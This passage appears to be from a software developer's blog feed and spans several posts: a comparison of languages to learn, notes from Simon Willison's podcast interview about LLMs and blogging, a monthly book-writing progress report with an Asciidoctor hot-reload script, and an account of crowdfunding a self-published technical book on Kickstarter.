Gleam’s web framework is called lustre, which has you write HTML in the form of Gleam function calls:

pub fn main() {
 let app =
 lustre.element(
 html.div([], [
 html.h1([], [html.text("Hello, world!")]),
 html.figure([], [
 html.img([attribute.src("https://cdn2.thecatapi.com/images/b7k.jpg")]),
 html.figcaption([], [html.text("A cat!")])
 ])
 ])
 )
 let assert Ok(_) = lustre.start(app, "#app", Nil)

 Nil
}

Honestly, writing HTML like that looks super tedious and ugly, but I’m open to trying it.

Gleam hasn’t reached critical mass yet, so there’s a risk that the language won’t be around in five years, but I guess that’s okay. I’m not planning to build a business on Gleam, just play around and learn some new things.

Good
- ✅ Cool language features
- ✅ Built on Erlang, so it has access to the Erlang and Elixir ecosystems
Bad
- ❌ Relatively new and immature language
- ❌ Not many learning resources outside of the official docs

Haskell

The people I know who enjoy Haskell tend to be annoyingly smart language nerds who love thinking about compiler and language design. That’s not me.

The thing that made me most curious about Haskell is Alexis King’s “Parse, don’t validate”, which made me appreciate static typing when I’d never cared that much before. I apply Alexis’ ideas in Go, but Haskell expresses way more with data types, which sounds cool.

Haskell has lots of wacky features that feel like they’ll expand my mind like monads, infinite data structures, and algebraic data types, but I also feel like there might be a steep learning curve to becoming productive in the language.

The popular web frameworks seem to be IHP and Yesod. IHP seems to strictly require PostgreSQL, which is a dealbreaker, so I guess that leaves Yesod. But Yesod looks nice. There’s a free O’Reilly book for it, and the simple examples seem straightforward, if a bit alien in syntax.

Haskell / Yesod feels like the stack I should learn, but it doesn’t seem as fun as Elixir or Gleam.

Good
- ✅ Rich, mature ecosystem
- ✅ More powerful type system than any other language I know
- ✅ Will maybe help me understand Nix
- ✅ Lots of learning resources available (including for free)
Bad
- ❌ Code looks kind of ugly to me, but maybe that’s just unfamiliarity
- ❌ Learning curve seems steep
- ❌ I’d become a weird Haskell person

Ruby / Rails

Ruby on Rails is attractive because I know a lot of people love it and feel incredibly productive in it. But looking at the language features, I’m not seeing anything that feels new or innovative coming from Python.

My impression of Rails is that it’s an opinionated framework, but the opinions are really good. Rails fans rave about how well the framework abstracts away toil without taking power or customizability away from the developer.

Good
- ✅ Rich, mature ecosystem
- ✅ Designed to scale down well
- ✅ Lots of people seem to love it
Bad
- ❌ No static typing
- ❌ Ruby looks pretty similar to Python, so I don’t know how much I’d learn

PHP / Laravel

I’ll admit that I have an elitist aversion to PHP.

PHP and I had some fun together in college, but when I learned other languages, PHP just felt gross.

In the last few years, I’ve heard that PHP has matured and Laravel makes PHP web development feel professional and smooth, so I took a look.

I found it surprisingly difficult to find examples of basic Laravel apps. The Laravel docs show the commands for creating a basic app, but they don’t show what the code looks like or how it renders. ~~I’m guessing that because part of Laravel’s business model is selling video courses via Laracasts, the public, text-based documentation isn’t so good~~ (Edit: Laravel does not own Laracasts, although some Laravel core developers have published courses on Laracasts).

The closest thing to basic examples I could find were starter kits, which pull in React (no thanks), Vue (no thanks), or Livewire (don’t know it, but it’s in bad company). But it looks like Laravel’s built-in frontend solution is Blade Templates, which actually look pretty nice to me, as far as HTML templating languages go.

Good
- ✅ Supports static typing
- ✅ From a first glance, I like Blade templating
Bad
- ❌ Language looks gross
- ❌ I couldn’t find good written introductions to Laravel

Scala

I hear positive things about Scala. The language looks interesting and has a lot of features I’ve never experienced in a language. The syntax looks like a less verbose Java, which is nice.

Scala seems to be strongly object-oriented. I used to like OO, but after years of using Go’s much more restrictive OO features, I’ve come to feel like inheritance and polymorphism are more trouble than they’re worth.

It seems like the dominant web framework is Play, but reading through the documentation, it feels dated and Enterprise-y. The hello world tutorial opens with a complicated chart of Play’s architecture, which is super boring and does not make me excited to learn the framework.

Scalatra is another Scala web framework that focuses more on simplicity, but the documentation is pretty light on examples. Though there is an ebook I could buy.

Good
- ✅ Interesting features around typing like variance annotations and compound types
Bad
- ❌ Scala’s object-oriented aspects remind me of the bad parts of C++, though not quite as bad
- ❌ Seems tightly entwined in the Java ecosystem, which I don’t enjoy
- ❌ I can’t get excited about any of the web frameworks

Summary

Gleam feels like the best match for my goals and experience, with Elixir as a close second. Haskell is the language I should learn when I work up the courage and patience.

I plan to experiment a little bit with Gleam + Lustre and Elixir + Phoenix and see which one feels more interesting.

Notes from Simon Willison's Interview on Software Misadventures

Fri, 23 May 2025 00:00:00 +0000

I just finished listening to Simon Willison’s interview on the Software Misadventures podcast. I learned a lot from the interview, so I wrote up my notes.

This is not a summary of the whole interview, just the parts that were new to me or that I’d like to remember.

Simon Willison on the Software Misadventures podcast

Who’s Simon Willison?

One of the co-creators of Django, the most popular web framework for Python.
One of the most popular indepedent bloggers on Hacker News.
For the last few years, has focused his blog primarily on AI, especially on applications of AI technology in everyday software development.
Currently working on an open-source data analysis tool called Datasette.

Plugins as a form of open-source contribution

Original discussion

Designing an application to accept plug-ins that extend its functionality is a form of collaboration that’s even lower-friction than accepting open-source contributions.
- External collaborators can add features without you having to review or approve anything, and you’re not responsible for maintaining their code.

The great thing about plugins is it’s a way of building an open-source project where you don’t need to review people’s code to add features to your thing. I can wake up one morning and my software can do a new thing because somebody else released a plugin for it.

[Editor’s note: I found this to be an interesting observation. I’ve never designed any software to accept plugins, but Simon makes an excellent case for this type of architecture.]

LLMs

Developing an intuition about how to use LLMs

Original discussion

LLMs are deceptively hard to use because the limitations aren’t obvious.
- They seem easy because they’re just chatbots, but you need to use them for several hours on a variety of tasks to develop an intuition about what they can and can’t do.
- Example: LLMs are bad at counting, which is surprising given that computers generally are great at counting.
Simon recommends the Anthropic prompt engineering documentation as an effective way to improve your use of LLMs.
Simon recommends learning with self-hostable models (e.g., Phi-3, LLama 3.1), as they hallucinate and make mistakes more frequently, so you’ll develop a better intuition of what LLMs are bad at.

How Simon uses LLMs

Original discussion

Summarizing information
- Take advantage of long context windows to accelerate research. For example, to research a person, dump into the chat their Wikipedia page, articles about them, and their writing, and ask the LLM to summarize key themes with examples.
- Ask for direct quotes, and check the original source to verify that the LLM didn’t hallucinate the quote.
  
  If a friend of mine could read a Wikipedia page and then answer my question, then I know that the LLM will be able to answer that question. But if it’s the kind of thing which the Wikipedia page probably isn’t going to cover, it’s less likely that the LLM will be able to answer it.
Asking about domains in which you have expertise

I’ll ask it legal questions, like I’ll paste in the terms of service and say, “Hey, is there anything in here that looks a bit dodgy?”

I know for a fact that that’s a terrible idea because I have no legal knowledge, right? So, I’m sort of like play acting with it and nodding along, but I would never make a life-altering decision based on legal advice from an LLM that I got because I’m not a lawyer.

If I was a lawyer, I’d use them all the time because I’d be able to fall back on my actual expertise to sort of like make sure that I’m using them responsibly.
Writing SQL queries
- Simon advises showing the LLM your full table schema and a few sample rows.
Data entry
- e.g., transcribing information from handwritten notes or pulling structured data out of unstructured documents
- The best LLMs achieve about 95% accuracy, which is roughly on par with what you’d get hiring a group of human interns to do the same task.
Making software architecture decisions
- Simon asks LLMs to give him a variety of options for achieving the same task and talks through their advantages and disadvantages.
Reading academic papers
- Simon wrote a tool called Dejargonizer that explains unfamiliar terms.
- [Editor’s note: I found the tool to be more of a fun idea than an actual practical tool. You have to paste in text, and I exhausted the context limit by feeding in a 5-page paper. It would make more sense to rewrite the text with the jargon words defined inline.]

Simon’s “weird intern” mental model for LLMs

Original discussion

Simon describes LLMs to his wife as “his weird intern.”

It’s like having an intern who has… memorized the documentation for every programming language and is a wild conspiracy theorist and sometimes comes up with absurd ideas and… they’re massively overconfident.
A major advantage to an LLM over a human teammate is that you can continue asking it to improve a solution.
- With a human teammate, you eventually have to stop asking for new iterations because it’s frustrating for a human for you to keep thinking of new ideas to improve a pull request, but an LLM, you can ask for massive rewrites without worrying that you’re disrespecting its time.
Simon has found that you can get an LLM to improve its answers by just saying, “Do better”:

One of my favorite prompts is you just say, “Do better,” and it works. It’s the craziest thing!

It’ll write some code, and you say, “Do better,” and it goes, “Oh I’m sorry,” and then it will churn out better code, which is so stupid that that’s how this technology works, but it’s kinda fun.

LLMs make projects viable that previously weren’t worth the effort

Original discussion

One of the major impacts LLMs have had on Simon is that it makes him more ambitious as a developer.
- Previously, he’d think of a project and recognize the right language to implement it is AppleScript or Go, and he’d shelve the idea because he doesn’t know those languages.
- Now, he can use LLMs to generate the code and verify it does what he wants.
He could have learned those technologies before, but LLMs lower the barrier to entry enough that they’re more practical to create:

All of these little projects would not exist without LLMs. Not because I couldn’t build them, but because I couldn’t build them fast enough to justify the effort.

Staying on top of LLM developments

Original discussion

Highest-signal information comes from private WhatsApp and Discord groups of 15ish people.
Twitter has good AI discussion.
- Mastodon does not, as it attracts AI skeptics.
Because of Simon’s blog, people often send him tips about interesting new LLM developments.

Why LLMs might not pollute the world with terrible code

Original discussion

The downside of LLMs is that code is going into production that its authors don’t even understand.
- That’s a risk for the world, as it suggests that LLMs will degrade overall software quality.
Simon points out how much of the world runs on code that’s worse than the “goop” code that LLMs generate:

We currently live in [a] world where half of the world runs on Excel spreadsheets with no unit tests, and no backup, no version control.. and anyone can muck up a formula, and the valuation of a company goes down by half overnight…

That’s the world we live in today, right? Excel spreadsheets are kind of goop already, and somehow society functions.

So, maybe those of us who are like, “No, every line of code has to be perfect,” maybe we’re wrong. Maybe actually goop is the way forward, but that’s a little bit terrifying, you know?

Blogging

Write a new blog post every day

Original discussion

Simon tries to write a new blog post every day.
- Inspired by Tom Scott, who made a video every week for 10 years.
- Gives Simon incentive to find something interesting that day.

Time investment

Original discussion

Simon blogs for 10-15 minutes/day.
He’s able to write more quickly since he’s been doing it for 22 years.

Original discussion

Simon has a newsletter that’s just a diff of everything new on his blog since his last newsletter:

It’s a really great way of getting things out there to people who live in their email clients.
Simon wrote an Observable notebook that pulls content from his blog and converts it into Substack-compatible rich text. He then copies from the notebook into Substack, and sends out the newsletter.
He has 6,000 substack subscribers.
The process takes two minutes per newsletter.

[Editor’s note: Simon doesn’t address this, but I think the way he’s syndicating to Substack negatively impacts SEO, as it creates two copies of the same content at different URLs, and Google won’t know which is the original.]

[Editor’s note: I also find it surprising that Simon uses the Substack domain rather than some subdomain under simonwillison.net, as I believe Substack lets you bring your own domain.]

Blog infrastructure

Original discussion

Simon’s main blog is a Heroku instance sitting behind Cloudflare as CDN.

The great thing about Cloudflare is if I get a giant spike of traffic, like if I’m linked off the Hacker News homepage, my tiny little cheap Heroku instance doesn’t even notice because Cloudflare absorbs all of the traffic.

Bing chat incident

Original discussion

In 2023, Simon published, a blog post called Bing: “I will not harm you unless you harm me first”.
- The post aggregated surprising experiences people reported on social media with AI-powered Bing, which was later revealed to be an early preview of GPT-4.
Elon Musk tweeted the article.
It was one of the most popular articles of 2023 on Hacker News.
The blog post received 1.4 million views.
The post led to Simon’s first TV interview by a news station in Chicago.

Making everything a Github issue

Original discussion

Simon maintains personal to-do lists as Github issues.
He maintains 250 projects.
- He documents them by pretending he’s going to forget every detail.
  
  I can drop back into a project I haven’t touched in a year, read the documentation as if I didn’t know what the project was, and then start working on it.
He writes design documents as issues as well.

I’ve got issue threads that are over a hundred comments long, and they’re all me. It’s just me talking to myself.

[Editor’s note: This is a surprising workflow, as it optimizes for writes over reads. When you want to understand an issue, you’re forced to read hundreds of comments instead of reading a single comment that summarizes the current state.]

“Temporal” documentation vs. current documentation

Original discussion

Simon considers software as having two types of documentation.
1. Documentation that says what the software currently does.
2. Documentation that describes what the software did at the time the documentation was written but is not necessarily accurate today (“temporal documentation”)
Github issues are good for temporal documentation.
- Simon can look at the issue and see the date he wrote the issue to understand when the documentation was accurate.
For documentation that has to match the code, he keeps the documentation as markdown files in the same repo as the code itself and ensures that code updates always update documentation to match.

Life as an indie developer

Original discussion

Simon first got his taste for independent work when he was awarded a one-year paid fellowship at Stanford for data journalism.

It was amazing, and it completely ruined me because they paid me to spend a year working on whatever I thought was most interesting.

And once you’ve done that, it’s very difficult to go back to having somebody else… define what it is that you were going to do. So basically, that was the problem, is that I experienced freedom for a year, and I’m like, “I do not want to give this up. I’m having so much fun working on these things.”

Managing your time

Original discussion

Simon finds it extremely difficult to decide what to work on, as there’s so little external pressure or accountability relative to working for an employer.
- There are so many interesting areas of AI to explore and nothing stopping him from exploring them foreer.
He sometimes wishes he had VC investors so that someone would keep him focused on his goals.
Conference-driven development
- Simon promises features in time for a conference, which forces him to prioritize implementation by a deadline.
Weeknotes
- Simon wrote blog posts he called “weeknotes” every few weeks to summarize his past few weeks of work.
- [Editor’s note: I do something similar, a practice I picked up from Google.]
- [Editor’s note: Simon coincidentally stopped doing this shortly after the interview.]

Working towards financial independence

Original discussion

Simon aspires to have financial independence.
- Eventbrite acquired Simon’s startup while it was still growing, and then he worked there for six years as a director of engineering.
- He has “substantial runway” but not enough that he doesn’t have to worry about income.
- He’s pursuing consulting opportunities to provide income until Datasette is generating enough revenue to be his primary source of income.

[Editor’s note: The biggest surprise of the whole interview for me was that Simon isn’t already financially independent, as I assumed Simon he was.]

Datasette’s goals

Original discussion

Simon’s goal for Datasette is for a journalist to use Datasette to inform an article that wins the Pulitzer Prize.
He’d like to hire a team to work with him on the project, as he finds it lonely to work solo.
He wants to follow the WordPress model of open-sourcing the code and making money by offering it as a managed service.

Challenges of using LLMs for data journalism

Original discussion

All the major LLMs censor information, which makes data journalism more difficult.

If you’re a journalist, some of the source material you work with is nasty, right? It’s police reports about violent incidents. It’s fascist message boards… Right now, if you’ve got an LLM that’s helping process these things, and you like ask it to summarize the themes from this fascist notice board, it’s going to say “no,” right?

A lot of the LLMs will just straight up refuse to process that, which… greatly limits how useful they can be…

Meta: How I created these notes

I downloaded the interview with yt-dlp:

yt-dlp https://www.youtube.com/watch?v=6U_Zk_PZ6Kg

And then I used Whisper to generate a transcript:

VIDEO_FILE="~/LLMs\ are\ like\ your\ weird,\ over-confident\ intern\ ｜\ Simon\ Willison\ \(Datasette\)\ \[6U_Zk_PZ6Kg].webm"
whisper $VIDEO_FILE

My NixOS system’s CUDA configuration mysteriously stopped working, so Whisper used my CPU, which was slow and error-prone. I used Google Gemini 2.5 Pro Preview to clean it up:

Split this transcript into sections by topic.

Under each topic, write the timestamp that the section covers in the transcript.

Break groups of sentences into logical paragraphs under each heading.

Fix words that appear to be transcription errors, but don't editorialize or
change language.

```
1
00:00:00,000 --> 00:00:06,000
call it my weird intern. I'll say to my wife Natalie sometimes, hey so I got my weird intern

2
00:00:06,000 --> 00:00:10,800
to do this. And that works, right? It's a good mental model for these things as well because

[elided...]

```

Gemini can only process about 30 minutes of transcript at a time until it runs out of output tokens, so I had to keep repeating it with Start at 00:26:26,240 at the end of my instructions.

I then aggregated together all the formatted transcripts.

That creates a well-organized transcript like this:

### The Efficiency and Benefits of Consistent Blogging
(00:08:44,480 --> 00:11:24,800)

Well, that's the secret of blogging, is that it takes a lot of work at first,
but I've been blogging for 22 years...

Then I fed my notes to Gemini 2.5 Pro with this prompt:

Here is a transcript of an interview that's available on YouTube
at https://www.youtube.com/watch?v=6U_Zk_PZ6Kg:

```
SRT TRANSCRIPT GOES HERE
```

Here are my notes about the interview:

```
MARKDOWN VERSION OF THIS BLOG POST GOES HERE
```

Reproduce the headers in my notes, but under each, include a link to the
original YouTube video that the transcript came from with a timestamped link
that points to that part of the conversation.

I wanted to validate that the direct quotes were all accurate, but I couldn’t find a good solution. I initially tried prompting Gemini Pro and Flash to generate an ffmpeg command to edit the video down to just the quoted portions, but it kept doing it incorrectly. I tried a more modest approach of asking it to append the timestamped YouTube link to every quote, but it was always a few minutes off. I eventually just did it manually by searching the SRT file and then seeking to that point in the video. In one instance, Gemini had completely revised Simon’s wording, but it mostly got the quotes accurately.

Refactoring English: Month 5

Thu, 08 May 2025 00:00:00 +0000

Highlights

Why am I making slower progress than I’d like on my book?
I optimize my Asciidoctor write and preview workflow.
I’m working on a side project to track Hacker News performance in real-time.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Write a blog post about lessons from Kickstarter

Result: Published My $6k Advance as a Self-Published Technical Author
Grade: A

I originally set out to write a guide that focused on Kickstarter, but the more I wrote, the less I felt like Kickstarter was the interesting part. I was more excited about crowdfunding as a path for self-published authors, and Kickstarter is just one way of crowdfunding.

Complete a new book chapter or teach a live session about a topic from the book

Result: Taught a live session and started working on a new chapter.
Grade: A

I invited everyone who pre-ordered the book to attend a live class, and I enjoyed the session. I got to meet people who had been reading my blog for years, but we’d never talked or emailed, and the questions helped me shape the material for the book.

Coordinate rewards with Kickstarter backers

Result: Reached out to all Kickstarter backers who purchased a premium reward.
Grade: A

I felt stressed about not reaching out to people soon enough. I worried that backers would feel like, “Hey, why are you writing new blog posts about your Kickstarter instead of talking to the people who actually supported you?” But I didn’t want to send bulk messages because if people pre-ordered $75-150 packages, I felt like that deserved a personalized response.

I kept putting off the emails, but when I finally did, it only took me about two hours to write to everyone. If the backer had a website or we’d talked before, I personalized the message to make it clear I was writing them one by one.

Managing my time as I write a book

I’m working on my book every week, but my progress feels slow.

It’s difficult to gauge my progress because I know which chapters I’ve completed and which ones I haven’t, but they vary a lot in difficulty and length.

Another issue is that I can keep writing and rewriting the same chapter forever. I have to reach a point where I decide it’s good enough and move on to other chapters. If there’s no pressure to finish any particular chapter by a certain time, I feel like I can just keep rewriting forever.

I also find that my efficiency drops significantly after about an hour of writing. I just run out of steam and get distracted more easily or overinvest in things that don’t matter. I can somewhat mitigate this by writing about a different topic in the morning and afternoon, but I still run out of steam after about an hour in either session.

Fortunately, I haven’t experienced writer’s block or a loss of motivation. I’m able to write every workday, and I still feel excited about the book.

With all those things in mind, here’s my plan for more focused writing going forward:

Dedicate time to writing in flow state for at least 60 minutes per day.
- If I need to research more, fix formatting, or add an image, add TODOs, so I don’t have to break my flow state.
- If I get bored, resist the urge to check email or social media. Just keep writing until the end of the block, even if I don’t like the writing.
  - I initially found LeechBlockNG helpful for this, but it caused Firefox to hang frequently, so I stopped using it. I assume it’s related to the known issue, “LeechBlock doesn’t get along well with Firefox’s GC.” I submitted a couple of small fixes, but they didn’t seem to make a difference.
Plan my workday the first thing in the morning, so I decide how much time I allocate to which writing tasks.
- I check my calendar and to-do list, then schedule my day as a series of 30-minute blocks on a piece of paper.
Decide how much writing time each chapter deserves.
- For example, I should decide ahead of time that I only want to spend 10 hours writing the chapter on emails before I send a draft to readers.

Some of the items on the list are things that I’m already doing and want to do more diligently. Some are new things I’m adding to meet the challenge of writing a book for the first time.

Asciidoctor: So far, so good

I wrote last month about evaluating different options for writing a book, and I settled on Asciidoctor. I’m enjoying it so far.

I used Liran Tal’s asciidoc-book-starter as a starting point and adapted it to Nix. I now have a Nix flake set up so that if I run nix run, it renders the book as PDF, epub3, and HTML. I can also render individual formats with commands like nix run .#pdf.

I’m not sure if I’ll support all three formats. I haven’t tried any custom formatting yet or even embedding images or tables, so it will come down to how much extra work it is to get the layout and style right in all three formats.

The biggest limitation of Asciidoctor is that I can’t do live reload. I’m used to writing in Hugo, so I have VS Code open in one window and the rendered output open in a browser window. Every time I hit save in VS Code, I see it render in the browser in a few hundred milliseconds.

With Asciidoctor, my write-build-read flow is:

Save the file.
Switch to the terminal.
Run nix run .#pdf.
Switch to my browser window.
Reload the PDF.

Now that I write this out, I realize I should automate this, so I asked an LLM and got this simple script:

#!/usr/bin/env bash
set -euo pipefail

nix run .#pdf

zathura dist/Refactoring\ English.pdf &
ZATHURA_PID=$!

trap 'kill $ZATHURA_PID' EXIT

find book -type f \
 | entr -dr nix run .#pdf

I’d never heard of zathura, but it’s an open-source PDF reader that automatically reloads on file changes. Here’s what it looks like in practice:

Your browser does not support the video tag.

My DIY hot reloading PDF workflow with Asciidoctor, Zathura, and Nix

My DIY hot-reload flow is significantly slower than the near-instant performance I’m used to with Hugo, but it’s 5x easier than doing it manually.

Side project: Hacker News Observer

One of my special Hacker News superpowers is that I usually know why a post disappeared from the front page. But really, anyone can do this if they know about HN Rankings, a site that charts historical Hacker News data. You just have to recognize a few patterns.

The main thing you can see in HN Rankings is when a post’s rank suddenly increases or decreases dramatically. If a post is slowly increasing to the #3 spot, and then the next tick in the chart, it’s suddenly at the #45 spot, that means a moderator probably downranked the story.

When a Hacker News post suddenly drops in rank, a moderator probably downranked it manually.

Charts can also reveal when moderators manually boost a story. If you see a post drowning in the #300 spot, and then suddenly it’s ranked #10, it means that a moderator boosted the story, possibly due to the second chance pool, a system where moderators and volunteers hand-pick stories that missed the front page in regular voting.

HN Rankings is great, but I’d like to see more data like upvote counts and comment counts alongside rankings, so I built my own version. I haven’t published it yet, but it polls the Hacker News API every minute to track metadata about all of the current Hacker News stories.

I’ve always been curious about what patterns emerge if you aggregate votes and comments of all the stories on the front page of Hacker News over time:

The thing that jumps out to me most is that around noon ET every day, the average age of posts drops significantly, so that’s when older posts drop off the front page and make room for newer posts.

It’s been interesting to see more details on my submissions, like the HN discussion for “My $6k Advance as a Self-Published Author.” The chart reveals that the post never made it to the front page, but it continued receiving upvotes, which is surprising. I’m still not sure how that happened, as I didn’t link to the Hacker News discussion anywhere:

Here are some features I’d still like to add:

Automatically determine whether it’s a slow news day or a crowded front page on Hacker News.
Automatically tag stories that the moderators have boosted or suppressed.
Predict a story’s trajectory based on how voting and commenting begins.

This is the closest thing I’ve had to a “big data” project in a long time, as most of my sites generate about 1 MB per month of data, whereas HN Observer generates 30-40 MB per day. I can dial that up or down depending on how much data I collect and how frequently I update it.

HN’s data storage feels like a good opportunity to try out Turso. I’ve been watching it distantly, and it seems like a database as a service that preserves most of the benefits of using SQLite.

Buying DRM-free movies

I was complaining to a friend recently that nobody offers DRM-free movies or TV shows for legal purchase. I know big studios and streaming platforms have no interest in giving up DRM, but it seems easy for small studios or indie filmmakers to put up a checkout page where customers can buy a 4K DRM-free mp4 of their movie for $10.

I searched around and found that there kind of is something like this. Vimeo on Demand offers DRM-free movies. They’re mostly indie and non-English films, but it’s the biggest selection I’ve ever seen of DRM-free films to purchase legally.

Vimeo on Demand is the largest collection I’ve found of legal DRM-free movies to purchase.

I tried out Vimeo on Demand, and the experience was only so-so. But they’re the only ones selling DRM-free films, so I’ll recommend them with caveats.

Make sure the title you’re buying offers downloads, as not all titles do. If the button says “Stream anytime,” that’s not DRM-free:

Look for the download option, which indicates actual DRM-free options. Avoid ‘Stream anytime’ purchases, as they’re not DRM-free or downloadable.

The experience of making this mistake and canceling the purchase also made me reluctant to recommend Vimeo. They don’t give any obvious option to talk to a human. Instead, I had to talk to a chatbot who told me that “for security reasons” they can’t refund video on demand purchases (despite the fact that they can see that I haven’t viewed the purchase). The only option was to contact the film’s distributor to request a refund, so I did that. But if I don’t hear back in a week, I’m just going to do a credit card chargeback.

Vimeo’s terms of service require binding arbitration, so if Vimeo does something illegal, you can’t sue them in court or participate in class action lawsuits. It’s absurd that clauses like this are legal in the US, as arbitrators heavily favor corporations over consumers. You can opt-out of the binding arbitration, which I did.

Wrap up

What got done?

Taught a live session for Refactoring English.
Reached out individually to every Kickstarter backer who purchased a premium reward.

Lessons learned

I should set time limits per chapter of my book to avoid working on it forever. Time goals also will give me a better sense of my total progress on the book.
It’s easy to set up your own makeshift live reload flow with Asciidoctor.

Goals for next month

Publish two chapters of my book to pre-order readers.
Assign soft writing time limits to every chapter of my book.
Adapt preview chapters of my book to Asciidoc.

My $6k Advance as a Self-Published Technical Author

Fri, 25 Apr 2025 00:00:00 +0000

I just received $5,947 in advance sales for my first technical book, even though it’s only 25% complete, and I’m self-publishing it. The book is called Refactoring English, and it’s a guide for software developers to improve their writing.

In March, I ran a three-week pre-sale for the book on Kickstarter. The pre-sale raised $6,551 from 191 customers. After Kickstarter’s fees, I get $5,946.92, or 91% of the total.

Proceeds from my pre-sale on Kickstarter

I haven’t seen many authors crowdfund their books ahead of time, so I thought I’d write about why I did this, which parts of the process worked well, and which parts turned out to be a waste of time:

Benefits of crowdfunding a self-published book

$6k is a higher advance than most traditional publishers offer to first-time authors.
The money has looser obligations than a traditional publisher.
- I have to make a good-faith effort to complete the book, but I don’t owe the money back if the book runs late or if I fail to complete it.
The pre-sale gives me confidence that when I complete the book, I can find readers willing to purchase it.
I didn’t have to beg a publisher for permission to write my book.
I don’t have to split sales with a publisher when I complete the book.
- My only cost will be payment processor fees, so I’ll receive 97% of the sale price.
I still have the option to publish the same book with a traditional publisher in the future.

My unfair advantages

One of my pet peeves is seeing social media posts like this:

Wow, I just put up a pre-order form for my USB-powered toilet paper. Within two hours, I’d made $100k! Business is so easy!

And then I check their profile and see that they have 40 million followers and a long track record of successful products.

So, I want to be upfront that I had advantages in my pre-sale:

My personal blog receives 300-500k unique readers per year.
I’m atypically successful at writing articles that reach the front page of Hacker News and reddit.
- During my pre-sale, an excerpt from my book reached the #10 spot for the day on Hacker News.
I have 2.1k subscribers on my blog’s mailing list and 1.5k subscribers on the book’s mailing list.
- There’s surprisingly little overlap between the two, so it’s about 3.5k unique subscribers.
I have 9.2k followers on Twitter and 600 followers on Bluesky.

How does crowdfunding compare to an advance from a traditional publisher?

Most publishers don’t disclose the deals they offer to first-time authors, so it’s difficult to compare my results directly with most publishers.

No Starch Press is the most transparent publisher in terms of author pay. They offer first-time authors three possible payment structures:

no advance, 15% royalties on print sales, 25% royalties on ebook sales
$5k advance, 12% royalties on print sales, 25% royalties on ebook sales
$8k advance, 10% royalties on print sales, 25% royalties on ebook sales

Manning doesn’t publish their rates, but Teiva Harsanyi recently shared his experience publishing with Manning as a first-time author. They paid him $2k upfront, $2k after delivering the first 1/3rd, and then 10% of sales. This earned him $47k over four years (11,452 copies sold).

By self-publishing, I get a better deal on my advance, I can continue selling pre-orders as I write the book, and I still have the option to publish a future edition with a traditional publisher.

Worst case: 200 people want to read my book

Writing a book is a risky venture — I expect it to take me 6-12 months. I’d be devastated to spend all that time writing only to discover that nobody wanted to read my book in the first place.

A pre-sale guarantees that some people are interested enough in my book to pay for it.

With Kickstarter, you set a goal amount for the pre-sale. If you don’t hit the goal, none of your customers pay, and you walk away with nothing.

Kickstarter’s all-or-nothing structure sounds brutal, but it was ideal for me. It protects me from an awkward “half-success” where pre-orders fall short of my expectations, and then I’m stuck either writing a book for a tiny readership or awkwardly refunding a bunch of pre-orders and ending up in the negative after payment processing fees.

I chose $5k as my pre-sale goal because it’s the lowest figure that would feel okay as my total earnings for the book. I’d, of course, enjoy selling more copies of my book later, but I’d still feel good about making $5k from a self-published book. My more realistic expectation was that if I could sell $5k in pre-orders when the book was only 25% complete, I could likely sell another $10-15k worth of copies when I finish the book.

I priced the pre-orders at $25 per copy, so I figured that if 150 people bought, it would get me to $3,750, and then I’d make up the rest in the premium Kickstarter rewards like a public thank you or personalized writing feedback. The “worst case” would be if I reached my goal with everyone paying $25, but that still means 200 people want to read my book, which is pretty good.

A pre-sale connects me with my most enthusiastic readers

One unexpected benefit of the pre-sale was that it connected me with the readers who are most excited about my book. These are exactly the readers I want to hear early feedback from.

Before the pre-sale, I published sample chapters, and people signed up for my mailing list, but I didn’t know how to initiate useful conversations with them. When I’d email subscribers new chapters, I’d invite them to give me feedback on the material, but barely anyone did.

Once the pre-sale ended, I realized that I suddenly knew 200 people who felt engaged and invested in the book’s future.

Last week, I invited everyone who pre-ordered to attend a live video class where I taught the material from the book’s next chapter. Six people attended the class, and their feedback was incredibly helpful. The attendees seemed excited to ask questions and help shape the book, so it felt like a win-win for everyone.

How did I find customers?

According to Kickstarter, here’s how pre-sales for my book broke down:

Source	% of sales
Book website	42%
Kickstarter	12%
Personal blog	11%
Twitter	4%
Other / Unknown	31%*

* I suspect that my mailing lists made up a large chunk of that “Unknown” category, but I forgot to use links in my newsletter that would have recorded the source of those purchases.

Publishing book excerpts

Sharing book excerpts on my mailing lists and social media turned out to be the most effective strategy for selling pre-orders.

I published the excerpts on the book’s website for free, and I included a self-ad at the end of each post to lead readers to the full book:

Self-ads for the book that appeared at the bottom of my sample chapters online

During the pre-sale, I published two new excerpts from the book. I published the first at the start of the pre-sale to kick things off and the second five days before the pre-sale ended.

It’s tough to say how much the first excerpt impacted sales, as I released it at the same time I announced the pre-sale to my mailing list.

The second excerpt definitely made a difference. It gained traction on Hacker News and Lobsters, and readers from those sites doubled pre-orders for my book in a matter of days. Without that second excerpt, the pre-sale would have failed, and I’d have walked away with nothing.

The effects of sharing excerpts on sales

Advertising the book on my personal blog

Similar to the self-ad on my book’s website, I added a little box at the bottom of all my blog posts to say that I want to write a book and that readers can support it with a pre-order.

I added a self-ad for the book at the bottom of every post on my personal blog.

I wrote one new blog post during the pre-sale, which seemed to bring a small bump in sales. I also have a deep archive of posts that attract 6-7k readers per week even when I’m not publishing anything new. I suspect some readers purchased based on stumbling across my old posts.

According to Kickstarter’s metrics, 4% of orders came from Twitter. I didn’t invest a ton there — I just created a thread announcing the pre-sale and posted occasional updates on progress toward my goal amount.

Sharing progress updates Twitter accounted for about 4% of sales

I tried the same thing on Bluesky and Mastodon, as I prefer those platforms, but my posts there got almost zero response.

Which attempts at finding customers failed?

Soliciting sponsorships from companies

Increasingly, open-source projects are raising money by displaying company logos on their website in exchange for a monthly donation. I thought, “Why not do the same thing with an ebook?”

But company sponsorships didn’t work for me. I reached out to ten companies, and none of the discussions went anywhere:

One company offered $1k to buy a page in the book’s acknowledgments section and a banner ad on the website.
- I asked whether they’d be open to something time-limited, as I didn’t want a “forever” obligation, and they stopped responding.
One company was interested but then stopped responding when they realized I wanted them to purchase the sponsorship through Kickstarter.
One company gave a quick, polite no.
One company responded several weeks after the pre-sale to say no.
Six companies (the rest) never responded.

Part of the problem was that I waited until the last ten days of the pre-sale to reach out. At that point, it looked like my project was a flop.

I kept thinking I’d have a hit post during the pre-sale so that I could wow potential sponsors with flashy metrics about how many of my readers would see their logo, but I didn’t have that until the end.

An example email I sent soliciting sponsorship from a company

Even when the one company offered to sponsor for $1k, I was hesitant to let a single company carry so much of the pre-sale. I expect the number of pre-orders to correlate with how many customers purchase the completed book. If I can’t reach my pre-sale goal without one whale of a sponsor, that would have been a bad sign for long-term sales.

